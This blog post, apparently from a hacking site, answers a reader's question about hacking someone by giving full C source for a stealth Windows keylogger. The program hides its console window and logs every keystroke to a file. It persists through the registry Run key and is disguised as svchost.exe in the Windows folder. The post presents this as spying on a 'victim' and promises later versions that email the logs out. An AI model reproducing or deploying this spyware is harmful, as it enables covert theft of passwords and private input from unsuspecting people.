0


One of our group member asked us, how can we use C programming to hack someone.. Well Here You can Read How..
C program of Keylogger or keystroke logger :  Keylogger is a computer program which captures all the key strokes pressed by user in real time. It captures all the keys and write them to some file say log.txt and stores it on computer hard disk. Now sending these logs to emails or FTP address depends upon the type of keylogger that is keylogger is remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, the only requirement is that victim must have internet connection. Today we will be writing a C program of Physical keylogger or Keystroke logger which requires physical access of the system. We will be extending our logic in further programs to make it remote keylogger which sends logs to FTP’s and Emails directly. So first of all lets see how simple keylogger program works…


Algorithm for writing a Simple Keylogger :



1. Create an Empty log file for storing keylogs.



2. Intercept keys pressed by user using GetAsyncKeyState() function.



3.  Store these intercepted values in file.



4.  Hide the Running Window Dialog to make it undetectable.



5.  Use while loop to make it running in all conditions.



6.  Add Sleep() function to reduce the CPU usage to 0%.




Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and store these pressed keys in log file.



Note : Save the program as svchost.c before compiling. Now place the svchost.exe(binary generated after compilation) into C:/windows folder. You can access the logs at C:/windows/svchost.log . Enjoy 


  1. #include<windows.h>
  2. #include<stdio.h>
  3. #include<winuser.h>
  4. #include<windowsx.h>

  5. #define BUFSIZE 80

  6. int test_key(void);
  7. int create_key(char *);
  8. int get_keys(void);

  9. int main(void)
  10. {
  11.    HWND stealth; /*creating stealth (window is not visible)*/
  12.    AllocConsole();
  13.    stealth=FindWindowA("ConsoleWindowClass",NULL);
  14.    ShowWindow(stealth,0);

  15.    int test,create;
  16.    test=test_key();/*check if key is available for opening*/

  17.    if (test==2)/*create key*/
  18.    {
  19.        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
  20.        create=create_key(path);

  21.    }

  22.    int t=get_keys();

  23.    return t;
  24. }  

  25. int get_keys(void)
  26. {
  27.            short character;
  28.              while(1)
  29.              {
  30.                     sleep(10);/*to prevent 100% cpu usage*/
  31.                     for(character=8;character<=222;character++)
  32.                     {
  33.                         if(GetAsyncKeyState(character)==-32767)
  34.                         {  

  35.                             FILE *file;
  36.                             file=fopen("svchost.log","a+");
  37.                             if(file==NULL)
  38.                             {
  39.                                     return 1;
  40.                             }            
  41.                             if(file!=NULL)
  42.                             {        
  43.                                     if((character>=39)&&(character<=64))
  44.                                     {
  45.                                           fputc(character,file);
  46.                                           fclose(file);
  47.                                           break;
  48.                                     }        
  49.                                     else if((character>64)&&(character<91))
  50.                                     {
  51.                                           character+=32;
  52.                                           fputc(character,file);
  53.                                           fclose(file);
  54.                                           break;
  55.                                     }
  56.                                     else
  57.                                     {
  58.                                         switch(character)
  59.                                         {
  60.                                               case VK_SPACE:
  61.                                               fputc(' ',file);
  62.                                               fclose(file);
  63.                                               break;    
  64.                                               case VK_SHIFT:
  65.                                               fputs("[SHIFT]",file);
  66.                                               fclose(file);
  67.                                               break;                                            
  68.                                               case VK_RETURN:
  69.                                               fputs("\n[ENTER]",file);
  70.                                               fclose(file);
  71.                                               break;
  72.                                               case VK_BACK:
  73.                                               fputs("[BACKSPACE]",file);
  74.                                               fclose(file);
  75.                                               break;
  76.                                               case VK_TAB:
  77.                                               fputs("[TAB]",file);
  78.                                               fclose(file);
  79.                                               break;
  80.                                               case VK_CONTROL:
  81.                                               fputs("[CTRL]",file);
  82.                                               fclose(file);
  83.                                               break;    
  84.                                               case VK_DELETE:
  85.                                               fputs("[DEL]",file);
  86.                                               fclose(file);
  87.                                               break;
  88.                                               case VK_OEM_1:
  89.                                               fputs("[;:]",file);
  90.                                               fclose(file);
  91.                                               break;
  92.                                               case VK_OEM_2:
  93.                                               fputs("[/?]",file);
  94.                                               fclose(file);
  95.                                               break;
  96.                                               case VK_OEM_3:
  97.                                               fputs("[`~]",file);
  98.                                               fclose(file);
  99.                                               break;
  100.                                               case VK_OEM_4:
  101.                                               fputs("[ [{ ]",file);
  102.                                               fclose(file);
  103.                                               break;
  104.                                               case VK_OEM_5:
  105.                                               fputs("[\\|]",file);
  106.                                               fclose(file);
  107.                                               break;                                
  108.                                               case VK_OEM_6:
  109.                                               fputs("[ ]} ]",file);
  110.                                               fclose(file);
  111.                                               break;
  112.                                               case VK_OEM_7:
  113.                                               fputs("['\"]",file);
  114.                                               fclose(file);
  115.                                               break;                                            
  116.                                               case VK_NUMPAD0:
  117.                                               fputc('0',file);
  118.                                               fclose(file);
  119.                                               break;
  120.                                               case VK_NUMPAD1:
  121.                                               fputc('1',file);
  122.                                               fclose(file);
  123.                                               break;
  124.                                               case VK_NUMPAD2:
  125.                                               fputc('2',file);
  126.                                               fclose(file);
  127.                                               break;
  128.                                               case VK_NUMPAD3:
  129.                                               fputc('3',file);
  130.                                               fclose(file);
  131.                                               break;
  132.                                               case VK_NUMPAD4:
  133.                                               fputc('4',file);
  134.                                               fclose(file);
  135.                                               break;
  136.                                               case VK_NUMPAD5:
  137.                                               fputc('5',file);
  138.                                               fclose(file);
  139.                                               break;
  140.                                               case VK_NUMPAD6:
  141.                                               fputc('6',file);
  142.                                               fclose(file);
  143.                                               break;
  144.                                               case VK_NUMPAD7:
  145.                                               fputc('7',file);
  146.                                               fclose(file);
  147.                                               break;
  148.                                               case VK_NUMPAD8:
  149.                                               fputc('8',file);
  150.                                               fclose(file);
  151.                                               break;
  152.                                               case VK_NUMPAD9:
  153.                                               fputc('9',file);
  154.                                               fclose(file);
  155.                                               break;
  156.                                               case VK_CAPITAL:
  157.                                               fputs("[CAPS LOCK]",file);
  158.                                               fclose(file);
  159.                                               break;
  160.                                               default:
  161.                                               fclose(file);
  162.                                               break;
  163.                                        }        
  164.                                   }    
  165.                              }        
  166.                    }    
  167.                }                  

  168.            }
  169.            return EXIT_SUCCESS;                            
  170. }                                                

  171. int test_key(void)
  172. {
  173.    int check;
  174.    HKEY hKey;
  175.    char path[BUFSIZE];
  176.    DWORD buf_length=BUFSIZE;
  177.    int reg_key;

  178.    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
  179.    if(reg_key!=0)
  180.    {    
  181.        check=1;
  182.        return check;
  183.    }        

  184.    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

  185.    if((reg_key!=0)||(buf_length>BUFSIZE))
  186.        check=2;
  187.    if(reg_key==0)
  188.        check=0;

  189.    RegCloseKey(hKey);
  190.    return check;  
  191. }

  192. int create_key(char *path)
  193. {  
  194.        int reg_key,check;

  195.        HKEY hkey;

  196.        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  197.        if(reg_key==0)
  198.        {
  199.                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
  200.                check=0;
  201.                return check;
  202.        }
  203.        if(reg_key!=0)
  204.                check=1;

  205.        return check;
  206. }
Now this code will generate a binary exe file, which is your keylogger software. Just double click it to start monitoring all the keys pressed in system.

We hope you all have enjoyed the C program of Keylogger or keystroke logger. If you have any issues with above program ask us in comments.

Post a Comment Blogger

Comment Rules:-
1.We don't publish Your comments if we found any third party Links.
2. Don't be Abusive here. We take strong action against abuser.
3.You can Report Bugs here.
4.You should comment if Links are Dead.[please check all mirror links before commenting]
5.Don't forget to check "Notify Me" to get reply on your email.

 
Top